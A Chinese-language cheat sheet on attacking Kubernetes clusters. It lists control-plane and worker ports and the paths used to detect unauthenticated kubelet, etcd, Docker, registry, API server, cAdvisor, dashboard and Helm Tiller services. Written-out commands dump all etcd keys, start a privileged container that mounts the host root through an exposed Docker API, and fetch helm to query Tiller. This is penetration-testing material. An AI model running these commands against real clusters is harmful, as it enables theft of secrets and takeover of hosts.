K8S攻击面梳理
如何识别K8S
通过一些常见的开放服务端口,可以判断是否跑了K8S服务,端口列表如下:
Control-plane Node(s)
| Port | Purpose | Note |
|---|---|---|
| 443/TCP | Kube API Server | Kubernetes API Port |
| 6443/TCP | Kube API Server | Kubernetes API Port |
| 8443/TCP | Kube API Server | Minikube API Port |
| 8080/TCP | Kube API Server | Insecure K8s API Port |
| 2379/TCP | etcd Client Server | etcd Storage |
| 2380/TCP | etcd Client Server | etcd Storage |
| 6666/TCP | etcd Client Server | etcd Storage |
| 4194/TCP | cAdvisor | Container Matrics |
| 10250/TCP | Kubelet API | |
| 10251/TCP | Kube-scheduler | |
| 10252/TCP | controller-manager | |
| 9099/TCP | Calico-felix | Health check Calico server |
| 6782-4/TCP | Weave | Metrics and endpoints |
Worker Node(s)
| Port | Purpose | Note |
|---|---|---|
| 10250 | Kubelet API | |
| 30000-32767/TCP | NodePort Service |
外部视角如何攻击K8S
Kubelet未授权
10250/tcp - kubelet (kubelet exploit)
验证未授权,可以尝试访问以下路径:
/pods
/runningpods
/containerLogs
其次是默认10255端口,只读权限:
10255/tcp - kubelet port (read-only)
尝试通过以下路径获取信息:
/stats
/metrics
/pods
etcd未授权
2379/tcp - etcd (see it on other ports though)
可通过以下路径判断未授权:
/version
/v2/keys
Etcd存放了大量敏感配置信息,从 https://github.com/etcd-io/etcd/releases/ 下载得到etcdctl。
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=http://IP:2379 get {} >> output.data && echo "" >> output.data'
Docker Remote API未授权
2375/tcp docker
通过访问/info路径查看响应中是否含有关键词:"kind": "APIResourceList"。
docker -H tcp://IP:2375 ps
docker -H tcp://IP:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
Docker Registry v2 API未授权
8080/tcp Docker Registry (API: 2.0)
可通过访问/v2/_catalog路径判断未授权。
Kubernetes API Server未授权
443/6443 - Kube API Server
通过访问/api/v1路径查看响应中是否含有ContainersRunning、DockerRootDir等关键词。
/api
/api/v1
/apis
/apis/
/apis/apps
/apis/apps/v1
/apis/autoscaling
/apis/autoscaling/v1
/apis/batch
/apis/batch/v1
...
cAdvisor未授权
4194/tcp - cAdvisor
尝试访问/api/v2.0/spec?recursive=true以JSON格式输出在主机上运行的所有容器的规范。
攻击dashboard
30000 - dashboard
默认情况下, dashboard是需要进行鉴权操作的,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard。
如何利用正在运行的Pod
获取shell后,很容易确认这是个在Kubernetes上运行的容器:
ls -l /.dockerenv
env | grep -i kube
攻击Helm
44134/tcp - Helmtiller, weave, calico
Helm与Kubernetes集群通信的方式是通过gRPC到Tiller-deploy pod。
然后 pod 使用其服务帐户令牌与 Kubernetes API 对话。
当Helm从客户端运行命令时,在后台会打开一个端口转发到集群中以直接与Tiller-deploy服务对话,该服务始终指向44134/TCP上的Tiller-deploy pod。
export HVER=v2.11.0
curl -L "https://storage.googleapis.com/kubernetes-helm/helm-${HVER}-linux-amd64.tar.gz" | tar xz --strip-components=1 -C /tmp linux-amd64/helm
/tmp/helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls